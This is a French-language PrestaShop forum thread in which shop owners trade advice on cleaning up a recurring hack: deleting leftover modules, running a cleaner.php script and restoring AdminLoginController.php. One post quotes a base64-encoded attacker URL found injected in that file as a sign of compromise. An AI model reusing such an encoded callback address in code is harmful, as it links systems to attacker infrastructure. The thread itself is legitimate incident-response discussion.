On 2/24/2023 at 11:05 AM, Mediacom87 said:

Déjà, si vous n'utilisez pas certains modules tiers, qu'ils sont désinstallés, il faut les effacer de votre FTP, c'est la meilleure sécurité, car certains sont mal développés et peuvent permettre de mettre des fichiers sur votre site même si le module est désinstallé.

J'ai ajouté cette fonctionnalité sur mon module de nettoyage de base de données car elle me sert aussi lorsque j'interviens sur les sites de mes clients ou lors de nettoyages de hack.

Lors de mon dernier ménage, justement le fait d'effacer les modules désinstallés a évité que le hack se reproduise.

Bonjour à tous,


Nous sommes nous aussi confronté au même bug (hack) sur notre site.

@Mediacom87 bonjour, c'est ambitieux de le demander je le reconnais, mais votre module permet-il de corriger le hack ?

NB : nous n'avons dans notre équipe que très peu de notions de dev. Et nous avons déjà effectué les étapes prescrites par le fichier cleaner.php d'Eolia. Le hack persiste.

@Alchy bonjour, nous avons modifié également notre fichier AdminLoginController.php par votre code. La partie "aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ=="  était également bien mentionné dans notre fichier ... malheureusement sans succès pour nous.

Merci !

Edited by mikaelnatech (see edit history)
Link to comment
Share on other sites

Update : Merci à @PrestaServicePro qui m'a contacté en MP et m'a aidé à régler le problème.

Le/les hackeurs ont tenté d'utiliser des scripts de correction automatique, mais cela n'a pas restauré correctement le fichier pour cette version.

Je ne pouvais donc plus me connecter à mon BO. Nous avons restauré le bon fichier et maintenant cela fonctionne.

Si cela peut aider des personnes qui passeraient par là une prochaine fois.

  • Thanks 1
Link to comment
Share on other sites

Bonjour

Merci pour tout ces échanges qui m'ont permis de retrouver un acces au back office de ma boutique.

J'ai utilisé la solution de remplacement du fichier AdminLoginController.php par un fichier présent dans une de mes sauvegarde en local du mois de Novembre.

Je souhaite maintenant lancer le fichier cleaner.php mais j'obtient un message d'erreur quand il essai de se mettre à jour.

Est ce que quelqu'un d'entre vous aurait une idée de l'origine de l'erreur obtenue

 

D'avance merci pour votre retour

Cordialement

Cédric

Capture d’écran 2023-12-20 à 21.10.28.png

Capture d’écran 2023-12-20 à 21.10.10.png

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...